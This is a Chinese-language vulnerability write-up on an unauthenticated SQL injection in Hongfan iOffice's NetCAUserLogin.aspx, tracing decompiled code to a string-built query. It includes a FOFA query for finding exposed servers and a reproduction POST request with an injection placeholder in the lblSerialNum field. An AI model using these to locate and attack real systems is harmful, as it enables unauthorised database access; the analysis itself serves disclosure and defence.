红帆ioffice NetCAUserLogin.aspx SQL 注入漏洞


漏洞简介

红帆iOffice的/ioffice/Identity/NetCAUserLogin.aspx接口存在SQL注入漏洞。攻击者可通过构造恶意SQL语句,未经身份验证地获取数据库敏感信息,影响范围包括红帆iOffice系统的数据访问权限。

影响版本

fofa语法

(title="iOffice.net" || body="/iOffice/js" || (body="iOffice.net" && header!="couchdb" && header!="drupal") || body="iOfficeOcxSetup.exe" || body="Hongfan. All Rights Reserved")

漏洞分析

先看下NetCAUserLogin.aspx 里引用的代码在哪里(Inherits)

<%@ Page Language="vb" AutoEventWireup="false" Inherits="iden.NetCAUserLogin" Codebehind="NetCAUserLogin.aspx.vb"  %>

去bin目录找到iden.dll后编译打开,看NetCAUserLogin它的实现逻辑

namespace iden;

public class NetCAUserLogin : WebPageBase
{
  [AccessedThroughProperty("form1")]
  private HtmlForm _form1;
  [AccessedThroughProperty("ioScriptManager1")]
  private ioScriptManager _ioScriptManager1;
  [AccessedThroughProperty("updatePanel1")]
  private ioUpdatePanel _updatePanel1;
  [AccessedThroughProperty("btVerify")]
  private Button _btVerify;
  [AccessedThroughProperty("btSetVisitBefore")]
  private Button _btSetVisitBefore;
  [AccessedThroughProperty("lblSerialNum")]
  private TextBox _lblSerialNum;
  [AccessedThroughProperty("ReConnect")]
  private HtmlAnchor _ReConnect;
  private string callback;

  public NetCAUserLogin()
  {
    ((Control) this).Load += new EventHandler(this.Page_Load);
    this.callback = "";
  }

最开始的一些变量定义,前端按钮btVerify

<script type="text/javascript">
    signV();
    GetThumbPrint_Demo();
    var obj = document.getElementById("btVerify");
    obj.click();
</script>

对应的后端的

protected virtual Button btVerify
{
  [DebuggerNonUserCode] get => this._btVerify;
  [DebuggerNonUserCode, MethodImpl((MethodImplOptions) 32)] set
  {
    EventHandler eventHandler = new EventHandler(this.btVerify_Click);
    if (this._btVerify != null)
      this._btVerify.Click -= eventHandler;
    this._btVerify = value;
    if (this._btVerify == null)
      return;
    this._btVerify.Click += eventHandler;
  }
}

跟进btVerify_Click看下

protected void btVerify_Click(object sender, EventArgs e)
{
  if (Operators.CompareString(this.lblSerialNum.Text.Trim(), "", false) == 0)
    return;
  iden.iden.iKeyNetCA iKeyNetCa = new iden.iden.iKeyNetCA();
  iKeyNetCa.EmpID = checked ((int) Math.Round(Conversion.Val(this.Emp.EmpID)));
  iKeyNetCa.SubjectName = "NetCA";
  iKeyNetCa.Serial = this.lblSerialNum.Text;
  switch (iKeyNetCa.Verify())
  {
    case 0:
      Page pgeParent = (Page) this;
      pf.ShowMessage(ref pgeParent, "这个证书没有分配给当前用户,认证无效!");
      break;
    case 1:
      EmpCookie empCookie = new EmpCookie("ioLogin");
      if (empCookie.GetCookie() != null)
      {
        empCookie.ItemAdd("Verified", "true");
        empCookie.SaveCookie();
      }
      this.Session["VisitBefore"] = (object) "true";
      this.Response.Redirect(ioSet.GetLoginCookieToUrl());
      break;
  }
}

在判断lblSerialNum不为空后带入iKeyNetCa.Verify() 方法,跟进看下

public override int Verify()
{
  if (Operators.CompareString(this.Serial, "", false) != 0)
    this.LookupEmpAndLogin(this.Serial);
  return Operators.ConditionalCompareObjectGreater(SqlData.ExecuteScalar(Globals.ConnectString, (CommandType) 1, $"{$"{"select count(*) " + " from ssIdentity "} where EmpID={Conversions.ToString(this.EmpID)}"} and Serial='{this.Serial}'"), (object) 0, false) ? -1 : 0;
}

Serial即lblSerialNum又先被带入LookupEmpAndLogin 方法

protected void LookupEmpAndLogin(string SearchKey)
{
  if (Operators.ConditionalCompareObjectEqual(HttpContext.Current.Session["VisitBefore"], (object) "", false) && Operators.CompareString(ioSet.GetClientSet("硬件认证直接登录"), "", false) != 0)
  {
    int iEmpID = this.LookupEmp(SearchKey);
    if (iEmpID == 0)
      return;
    this.EmpID = this.LoginiOffice(iEmpID) != 0 ? 0 : iEmpID;
  }
}

继续跟进LookupEmp 方法

protected virtual int LookupEmp(string SearchKey)
{
  object objectValue = RuntimeHelpers.GetObjectValue(SqlData.ExecuteScalar(Globals.ConnectString, (CommandType) 1, $"select empid from ssIdentity where Serial='{SearchKey}'"));
  return objectValue == DBNull.Value ? 0 : Conversions.ToInteger(objectValue);
}

ok,到这里,漏洞成因就非常明了了,从前端TextBox获取的lblSerialNum最终经过一系列赋值传递后被直接拼接进$"select empid from ssIdentity where Serial='{SearchKey}'" sql语句里,全程无过滤或者校验,从而造成了SQL注入漏洞。

漏洞复现

漏洞复现需要打开漏洞文件页面获取一些其他必要参数如__VIEWSTATE之类

POST /ioffice/Identity/NetCAUserLogin.aspx HTTP/1.1
Host: ioffice.mrxn.net

ioScriptManager1%24ScriptManager1=updatePanel1%7CbtVerify&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=xxxxxxxxxxxxxxx&__VIEWSTATEGENERATOR=xxxxxxxxxxx&__SCROLLPOSITIONX=0&__SCROLLPOSITIONY=0&lblSerialNum='SQLI_POC&__ASYNCPOST=true&btVerify=

成功利用报错注入在响应回显当前数据库用户信息


手机扫码阅读

用友U8+渠道管理(高级版) filedo 文件上传漏洞

索贝融媒体 ImageController 多个文件上传漏洞

评 论
avatar
shadowkillernet
参数是在哪里获取的,没有看到啊
1 年前 回复
avatar
Mrxn
@shadowkillernet:自己看前端部分表单代码
1 年前 回复
avatar
shadowkillernet
@Mrxn:抓包修改之后,返回200,是一个重新登陆的页面是不是就不存在漏洞了
1 年前 回复
avatar
Mrxn
@shadowkillernet:那就应该是不存在了
1 年前 回复